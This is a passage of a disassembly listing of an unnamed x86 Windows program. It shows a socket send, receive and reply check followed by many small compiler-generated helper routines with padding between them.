		push	18h
		push	offset dword_444E24
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4218C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4218C2
		push	10h
		push	offset loc_444DFC
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421891
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: ___:0042186Ej
		push	10h
		push	offset dword_444E10
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4218C2:				; CODE XREF: ___:004217DBj
					; ___:004217F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4218C9:				; CODE XREF: ___:0042177Ej
					; ___:00421787j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421950:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
